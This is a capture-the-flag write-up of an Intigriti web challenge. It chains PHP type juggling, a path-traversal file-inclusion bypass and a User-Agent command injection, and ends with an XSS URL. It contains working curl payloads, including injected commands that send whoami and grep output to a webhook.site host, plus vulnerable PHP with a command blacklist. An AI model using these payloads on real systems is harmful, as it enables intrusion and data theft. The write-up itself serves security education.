# Intigriti's April challenge by strangeMMonkey1 ## Introduction TiVendoUnMattone (I'll sell you a brick) is a simple PHP web application consisting of a login page, a dashboard page, and other 'hidden' pages. To solve this challenge, there are a couple of vulnerabilities that must be exploited to achieve the final code execution. ![Flow diagram](https://dannyshblog.b-cdn.net/diagram.png) 1. PHP Type Juggling 2. Local File Inclusion 3. Remote Code Execution The idea is that the exploitation of each of the vulnerabilities gives us a clue about what to do next until we get the flag. ## PHP Type Juggling Upon opening the initial *"challenge.php"* endpoint - we are presented with a simple login page. ![Login page](https://dannyshblog.b-cdn.net/login-page.png) At the bottom, the challenge creator provides a working credential pair - **strange:monkey.** When they are used, the backend redirects to *"dashboard.php"* and sets 2 cookies: ``` HTTP/2 302 Found date: Mon, 01 May 2023 09:13:12 GMT content-type: text/html; charset=UTF-8 location: dashboard.php x-powered-by: PHP/8.0.28 set-cookie: username=strange set-cookie: account_type=dqwe13fdsfq2gys388 ``` ![Dashboard](https://dannyshblog.b-cdn.net/dashboard.png) The dashboard page does not seem to contain any new additional functionality. It's a simple HTML page that lists different "bricks" for sale, however, the selling functionality is absent, and upon clicking "View details" we are redirected to a youtube page. So, let's go back to the "challenge.php" page and see what more we can learn Looking at the source code of the page: ![Source code](https://dannyshblog.b-cdn.net/login-page-html.png) There is a HTML form, which is doing a ***POST*** request to *"login.php"*, so lets change the request method to ***GET*** and see what will happen ![Stack-trace login](https://dannyshblog.b-cdn.net/login-get.png) The backend returns a detailed stack-trace which discloses some interesting information - **"/app/login.php on line 22"** - the full path to the login.php. Let's try triggering more errors/warnings and check what new we can learn about the application. ### Invalid credentials If we send a wrong pair of credentials (e.g. test:test), the backend returns an error page *"index_error.php"*, which is almost identical to *"challenge.php"*. ![Error page](https://dannyshblog.b-cdn.net/login-error.png) However, looking at the HTML soure code there is an additional comment there. `<!-- dev TODO : remember to use strict comparison -->` We didn't get lucky with a stack trace, but we got a hint from the challenge creator. The HTML comment points to [ "PHP Type Juggling" vulnerability](https://secops.group/php-type-juggling-simplified/) Usually, it's not trivial to exploit, because cookie values, **POST**, and **GET** parameters are passed as strings or arrays into the application. So, if they are compared to strings, there is no casting happening, for example: "0" == "Password" is FALSE, because obviously "0" is a different string from "Password" Let's try changing their types, one way of doing this is by changing the body of the **POST** *"login.php"* to JSON. ```bash! curl 'https://challenge-0423.intigriti.io/login.php' -X POST \ -H 'User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/112.0' \ -H 'Content-Type: application/json' \ --data-raw $'{ "uname": "strange",\n "psw": 0\n}' ``` Unfortunately, the backend returns: ```html! <br /> <b>Warning</b>: Undefined array key "uname" in <b>/app/login.php</b> on line <b>22</b><br /> <br /> <b>Warning</b>: Undefined array key "psw" in <b>/app/login.php</b> on line <b>22</b><br /> <br /> <b>Warning</b>: Cannot modify header information - headers already sent by (output started at /app/login.php:22) in <b>/app/login.php</b> on line <b>35</b><br /> ``` Sending the following payloads: - uname=strange&psw[]=0 - uname[]=strange&psw=0 Results in: ```html! <br /> <b>Warning</b>: Array to string conversion in <b>/app/login.php</b> on line <b>22</b><br /> <br /> <b>Warning</b>: Cannot modify header information - headers already sent by (output started at /app/login.php:22) in <b>/app/login.php</b> on line <b>35</b><br /> ``` Nothing interesting, as expected their values are treated as **strings**. ### Invalid cookie values The other place where some comparision might be happening is in the *"dashboard.php"* and the cookie values, so let's play with them. Sending: ```bash! curl 'https://challenge-0423.intigriti.io/dashboard.php' \ -H 'User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/112.0'' \ -H 'Cookie: account_type=dqwe13fdsfq2gys388; username[]=strange' ``` Does not reveal anything new, however, if we send "account_type" as an array the backend returns an error: ```bash! curl 'https://challenge-0423.intigriti.io/dashboard.php' \ -H 'User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/112.0'' \ -H 'Cookie: account_type[]=dqwe13fdsfq2gys388; username=strange' ``` ```html! <b>Fatal error</b>: Uncaught TypeError: md5(): Argument #1 ($string) must be of type string, array given in /app/dashboard.php:68 Stack trace: #0 /app/dashboard.php(68): md5(Array) #1 {main} thrown in <b>/app/dashboard.php</b> on line <b>68</b><br /> ``` Awesome, it seems that the value of the account_type cookie is being hashed with md5 and compared to something. If the hash computed starts with "0e" only followed by numbers, PHP will treat the hash as a float. For example: `md5('240610708') -> "0e462097431906509019562988736854"` `md5('QNKCDZO') -> "0e830400451993494058024219903391"` , so `md5('240610708') == md5('QNKCDZO')` is `TRUE` Let's try changing the account_type value to "240610708" ```bash! curl 'https://challenge-0423.intigriti.io/dashboard.php' \ -H 'User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/112.0'' \ -H 'Cookie: account_type=240610708; username=strange' ``` **Success**! The assumption is correct and we have additional HTML content in the response: ```html! <h3 id="custom_image.php - try to catch the flag.txt ;)">A special golden wall just for Premium Users ;) </h3><img src="resources/happyrating.png">$ FREE4U ``` Yet another hint from the challenge creator, let's visit *"custom_image.php"* ## Local File Inclusion Visiting *"custom_image.php"* yields an HTML \<img> tag with base64 encoded image in it. Let's inspect the metadata of the image. ```bash! └─$ exiftool index.jpeg ExifTool Version Number : 12.57 File Name : index.jpeg Directory : . File Size : 221 kB File Modification Date/Time : 2023:04:26 07:26:31-04:00 File Access Date/Time : 2023:04:26 07:26:32-04:00 File Inode Change Date/Time : 2023:04:26 07:26:31-04:00 File Permissions : -rw-r--r-- File Type : JPEG File Type Extension : jpg MIME Type : image/jpeg JFIF Version : 1.01 Resolution Unit : None X Resolution : 1 Y Resolution : 1 Comment : CREATOR: gd-jpeg v1.0 (using IJG JPEG v62), quality = 75. Image Width : 1023 Image Height : 657 Encoding Process : Baseline DCT, Huffman coding Bits Per Sample : 8 Color Components : 3 Y Cb Cr Sub Sampling : YCbCr4:2:0 (2 2) Image Size : 1023x657 Megapixels : 0.672 ``` It seems that the image is created with "gd-jpeg v1.0" , which points to a [known vulnerability](https://gusralph.info/file-upload-checklist/#bypassing-the-php-gd-library). In order to exploit it, we would need to upload an image which will be proccessed by the GD library, so let's try changing the request method to POST and appending an image file as form-data. ```bash curl -F image=@test.png https://challenge-0423.intigriti.io/custom_image.php ``` There is no change in the response, trying **PUT** as well results in similar behavior - *"custom_image.php"* always returns the same \<img> tag with no errors or warnings. Another vulnerability which is often found in PHP applications is **Local File Inclusion**, so let's try some [common GET query parameters](https://book.hacktricks.xyz/pentesting-web/file-inclusion#top-25-parameters): ```! ffuf -w common-query-params.txt -u https://challenge-0423.intigriti.io/custom_image.phpFUZZ -v -c -fs 294753 /'___\ /'___\ /'___\ /\ \__/ /\ \__/ __ __ /\ \__/ \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\ \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/ \ \_\ \ \_\ \ \____/ \ \_\ \/_/ \/_/ \/___/ \/_/ v2.0.0-dev ________________________________________________ :: Method : GET :: URL : https://challenge-0423.intigriti.io/custom_image.phpFUZZ :: Wordlist : FUZZ: /home/kali/Desktop/common-query-params.txt :: Follow redirects : false :: Calibration : false :: Timeout : 10 :: Threads : 40 :: Matcher : Response status: 200,204,301,302,307,401,403,405,500 :: Filter : Response size: 294753 ________________________________________________ [Status: 200, Size: 19, Words: 2, Lines: 2, Duration: 74ms] | URL | https://challenge-0423.intigriti.io/custom_image.php?file={payload} * FUZZ: ?file={payload} :: Progress: [25/25] :: Job [1/1] :: 0 req/sec :: Duration: [0:00:00] :: Errors: 0 :: ``` Interesting, by adding the `?file={payload}` query parameter, the backend returns: "Permission denied!" Let's see if we can bypass this using the following [payload list](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/File%20Inclusion/Intruders/JHADDIX_LFI.txt) - unfortunately no luck this time and everything returns "Permission denied!" Another curious thing is that all images in *"dashboard.php*" page are located in "https://challenge-0423.intigriti.io/www/web/images/\<IMG>.jpg", the *"www/web/images/"* part of the URI suspiciously looks like a path on the webserver, so let's try the following **GET** request: `https://challenge-0423.intigriti.io/custom_image.php?file=www/web/images/stockdips5.jpg` - **success**, this time we don't get "Permissions denied!", but an another image is loaded! Maybe the backend is checking if the value of the query parameter "file" starts/contains some part of the path above? The following list can be used to test this hypothesis: ``` /var/www/web/images/13 www/web/images/13 www/web/images/1 www/web/images www/web/image www/web/imag www/web/ima www/web/im www/web/i www/web/ www/web www/we www/w www/ www ww w ``` ```bash! └─$ ffuf -w paths -u https://challenge-0423.intigriti.io/custom_image.php?file=FUZZ -v -c -fs 294753,19 /'___\ /'___\ /'___\ /\ \__/ /\ \__/ __ __ /\ \__/ \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\ \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/ \ \_\ \ \_\ \ \____/ \ \_\ \/_/ \/_/ \/___/ \/_/ v2.0.0-dev ________________________________________________ :: Method : GET :: URL : https://challenge-0423.intigriti.io/custom_image.php?file=FUZZ :: Wordlist : FUZZ: /home/kali/Desktop/paths :: Follow redirects : false :: Calibration : false :: Timeout : 10 :: Threads : 40 :: Matcher : Response status: 200,204,301,302,307,401,403,405,500 :: Filter : Response size: 294753,19 ________________________________________________ [Status: 200, Size: 209, Words: 21, Lines: 4, Duration: 44ms] | URL | https://challenge-0423.intigriti.io/custom_image.php?file=/var/www/web/images/13 * FUZZ: /var/www/web/images/13 [Status: 200, Size: 203, Words: 21, Lines: 4, Duration: 65ms] | URL | https://challenge-0423.intigriti.io/custom_image.php?file=www/web/images/1 * FUZZ: www/web/images/1 [Status: 200, Size: 204, Words: 21, Lines: 4, Duration: 47ms] | URL | https://challenge-0423.intigriti.io/custom_image.php?file=www/web/images/13 * FUZZ: www/web/images/13 [Status: 200, Size: 192, Words: 22, Lines: 4, Duration: 51ms] | URL | https://challenge-0423.intigriti.io/custom_image.php?file=www/web/images * FUZZ: www/web/images :: Progress: [18/18] :: Job [1/1] :: 0 req/sec :: Duration: [0:00:00] :: Errors: 0 :: ``` Obviously, the backend functionality is checking if "www/web/images" is in the path, let's use this information and try to bypass the restrictions, using some common methods: 1. https://challenge-0423.intigriti.io/custom_image.php?file=www/web/images/../../../../etc/passwd - returns ` file_get_contents(www/web/images/etc/passwd): Failed to open stream: No such file or directory` - **"../"** is replaced with empty string 2. https://challenge-0423.intigriti.io/custom_image.php?file=www/web/images/....//....//....//..../etc/passwd - returns `Warning: file_get_contents(www/web/images/..etc/passwd): Failed to open stream: No such file or directory` - all occurrences of **"../"** are replaced with empty string, until there are no more **"../"**s in the string 3. https://challenge-0423.intigriti.io/custom_image.php?file=www/web/images/..\\/..\\/..\\/..\\/..\\/..\\/etc/passwd - **success!**, returns an \<img> tag with the base64 encoded content of /etc/passwd: ```! root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin bin:x:2:2:bin:/bin:/usr/sbin/nologin sys:x:3:3:sys:/dev:/usr/sbin/nologin sync:x:4:65534:sync:/bin:/bin/sync games:x:5:60:games:/usr/games:/usr/sbin/nologin man:x:6:12:man:/var/cache/man:/usr/sbin/nologin lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin mail:x:8:8:mail:/var/mail:/usr/sbin/nologin news:x:9:9:news:/var/spool/news:/usr/sbin/nologin uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin proxy:x:13:13:proxy:/bin:/usr/sbin/nologin www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin backup:x:34:34:backup:/var/backups:/usr/sbin/nologin list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin _apt:x:100:65534::/nonexistent:/usr/sbin/nologin ``` Let's try *https://challenge-0423.intigriti.io/custom_image.php?file=www/web/images/..\\/..\\/..\\/..\\/..\\/..\\/app/flag.txt*, since we already know that the webroot path is "/app" ```! Hey Mario, the flag is in another path! Try to check here: /e7f717ed-d429-4d00-861d-4137d1ef29az/9709e993-be43-4157-879b-78b647f15ff7/admin.php ``` Great, new page to explore - *"admin.php"*! Since there is a local file inclusion vulnerability, let's dump the PHP source code of the page and see what's there. ```php! <?php if(isset($_COOKIE["username"])) { $a = $_COOKIE["username"]; if($a !== 'admin'){ header('Location: /index_error.php?error=invalid username or password'); } } if(!isset($_COOKIE["username"])){ header('Location: /index_error.php?error=invalid username or password'); } ?> <?php $user_agent = $_SERVER['HTTP_USER_AGENT']; #filtering user agent $blacklist = array( "tail", "nc", "pwd", "less", "ncat", "ls", "netcat", "cat", "curl", "whoami", "echo", "~", "+", " ", ",", ";", "&", "|", "'", "%", "@", "<", ">", "\\", "^", "\"", "="); $user_agent = str_replace($blacklist, "", $user_agent); shell_exec("echo \"" . $user_agent . "\" >> logUserAgent"); ?> <!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <meta http-equiv="X-UA-Compatible" content="IE=edge"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <title>Admin panel</title> <style> body { font-family: Arial, Helvetica, sans-serif; background-image: url('/www/web/images/another_brick_in_the_wall.jpeg'); background-position: top 18% right 50%; background-repeat: repeat; } .del { color: blue; } nav>a { padding:0.2rem; text-decoration: none; border: 4px solid grey; border-radius: 8px; background-color: grey; } nav>a:visited { text-decoration: none; color:blue; } table { border: 2px solid black; border-radius: 4px; } </style> </head> <body> <div> <nav> <a href="/dashboard.php">Dashboard</a> <a href="/e7f717ed-d429-4d00-861d-4137d1ef29az/9709e993-be43-4157-879b-78b647f15ff7/log_page.php">Logs</a> </nav> </div> <div style="padding-top:1rem;position: absolute;left: 2%;"> <table aria-label="Table of the Users"> <tbody> <tr> <th scope="colgroup">Users</th> </tr> <tr> <td>Carlos</td> <td class="del">delete</td> </tr> <tr> <td>Wiener</td> <td class="del">delete</td> </tr> </tbody> </table> </div> <div style="position: absolute;right: 2%;"> <table aria-label="Table of the Agents"> <tbody> <tr style="text-align: center;"> <th scope="colgroup">Agents</th> </tr> <tr> <td>Pippo</td> <td class="del">delete</td> </tr> <tr> <td>Pluto</td> <td class="del">delete</td> </tr> </tbody> </table> </div> </body> </html> ``` Couple of observations, about the backend code: 1. It checks if the "username" cookie value is admin and if it's not it redirects to *"index-error.php"* page, however the code bellow is still being executed, since **die()/exit()** calls are missing after the redirect. 2. There is a command execution vulnerability in the following code, line 10: ```php!= <?php $user_agent = $_SERVER['HTTP_USER_AGENT']; #filtering user agent $blacklist = array( "tail", "nc", "pwd", "less", "ncat", "ls", "netcat", "cat", "curl", "whoami", "echo", "~", "+", " ", ",", ";", "&", "|", "'", "%", "@", "<", ">", "\\", "^", "\"", "="); $user_agent = str_replace($blacklist, "", $user_agent); shell_exec("echo \"" . $user_agent . "\" >> logUserAgent"); ?> ``` ## Remote Code Execution The code above takes the User-Agent: header from the HTTP request, **sanitizes* it and executes ```bash! echo "Agent" >> logUserAgent ``` Let's host the application locally and play with it. 1. Create index.php with the following content: ```php! <?php function logg($message) { $message = date("H:i:s") . " - $message - ".PHP_EOL; print($message); flush(); ob_flush(); } $user_agent = $_SERVER['HTTP_USER_AGENT']; #filtering user agent $blacklist = array( "tail", "nc", "pwd", "less", "ncat", "ls", "netcat", "cat", "curl", "whoami", "echo", "~", "+", " ", ",", ";", "&", "|", "'", "%", "@", "<", ">", "\\", "^", "\"", "="); $user_agent = str_replace($blacklist, "", $user_agent); logg("echo \"" . $user_agent . "\" >> logUserAgent"); shell_exec("echo \"" . $user_agent . "\" >> logUserAgent"); # web root directory # ?> </-- rest of the HTML content --> ``` >*Note: logg() is added to print a given string in the response, makes it easier to debug* 2. Start the PHP server ```bash! php -S localhost:8081 ``` ![](https://dannyshblog.b-cdn.net/Screenshot%20(13).png) This setup makes the proccess of building the payload much easier. --- The first step is to escape the string, for this we can use [**command substitution**](https://tldp.org/LDP/abs/html/commandsub.html), since "$", "(" , ")" are not blacklisted characters ![](https://dannyshblog.b-cdn.net/Screenshot%20(14).png) For space, [**${IFS}**](https://www.baeldung.com/linux/ifs-shell-variable) can be used as a substitute ![](https://dannyshblog.b-cdn.net/Screenshot%20(15).png) Finally, since this is a **blind command execution** we must find a way to see the output of the commands. One way would be storing it in a file and then utilizing the LFI vulnerability to read the file, however ">", "|" are both blacklisted which makes this method harder. Other option is by exfiltrating the information with a HTTP request. cURL is a blacklisted command, but this can be bypassed again with **"$()"** ![](https://dannyshblog.b-cdn.net/Screenshot%20(16).png) Let's test this out on the real server this time, with the following payload: ```http! User-Agent: lol "$(cu$()rl${IFS}https://webhook.site/856d0d4b-a961-4086-a28a-29a73f1b987b/$(who$()ami))"` ``` ![](https://dannyshblog.b-cdn.net/Screenshot%20(17).png) Let's leak the location and the name of the flag file with the following payload: ```http! User-Agent: lol "$(cu$()rl${IFS}webhook.site/856d0d4b-a961-4086-a28a-29a73f1b987b/$(grep${IFS}-r${IFS}"INTIGRITI"${IFS}.)\")" ``` ![](https://dannyshblog.b-cdn.net/Screenshot%20(18).png) Now let's read the content using the LFI: ```bash! curl "https://challenge-0423.intigriti.io/custom_image.php?file=www/web/images/..\/..\/..\/..\/..\/..\/app/e7f717ed-d429-4d00-861d-4137d1ef29az/9709e993-be43-4157-879b-78b647f15ff7/d5418803-972b-45a9-8ac0-07842dc2b607.txt" -s ``` ![](https://dannyshblog.b-cdn.net/Screenshot%20(19).png) ## Recap 1. Leak location of the flag file using the RCE vulnerability ```bash! curl -i -s -k -X $'GET' \ -H $'Host: challenge-0423.intigriti.io' -H $'User-Agent: lol \"$(cu$()rl${IFS}webhook.site/bb0e0edc-3b1a-4260-9fca-341b934981bc/$(grep${IFS}-r${IFS}\"INTIGRITI\"${IFS}.)\\\")\"' -H $'Content-Length: 2' \ -b $'username=admin' \ $'https://challenge-0423.intigriti.io/e7f717ed-d429-4d00-861d-4137d1ef29az/9709e993-be43-4157-879b-78b647f15ff7/admin.php' ``` --- 2. Read the .txt file using the LFI vulnerability ```bash! curl -i -s -k -X $'GET' \ -H $'Host: challenge-0423.intigriti.io' \ $'https://challenge-0423.intigriti.io/custom_image.php?file=www/web/images/..\\/..\\/..\\/..\\/..\\/..\\/app/e7f717ed-d429-4d00-861d-4137d1ef29az/9709e993-be43-4157-879b-78b647f15ff7/d5418803-972b-45a9-8ac0-07842dc2b607.txt' ``` ---- 3. Base64 decode the response SU5USUdSSVRJe24wX1hTU183aDE1X20wbjdoX3AzM3B6X3hEfQ== : **INTIGRITI{n0_XSS_7h15_m0n7h_p33pz_xD}** ## Summary The latest challenge by Intigriti is an interesting CTF exercise, depicting multiple different vulnerabilities: - [Improper Error Handling](https://owasp.org/www-community/Improper_Error_Handling) - [PHP Type Juggling](https://www.invicti.com/blog/web-security/php-type-juggling-vulnerabilities/) - [Local File Inclusion](https://owasp.org/www-project-web-security-testing-guide/v42/4-Web_Application_Security_Testing/07-Input_Validation_Testing/11.1-Testing_for_Local_File_Inclusion) - [Command Injection](https://owasp.org/www-community/attacks/Command_Injection) Showcasing different bad coding practices and common bypasses which can be levereged to exploit the vulnerabilities. Although it is not very realistic, the security issues are very common and often found in web applications in one way or another. >*Note: the web application, additionally also contains a XSS vulnerability* > https://challenge-0423.intigriti.io/index_error.php?error=%3Cimg%20src=x%20onerror=alert(%22XSS%22)%3E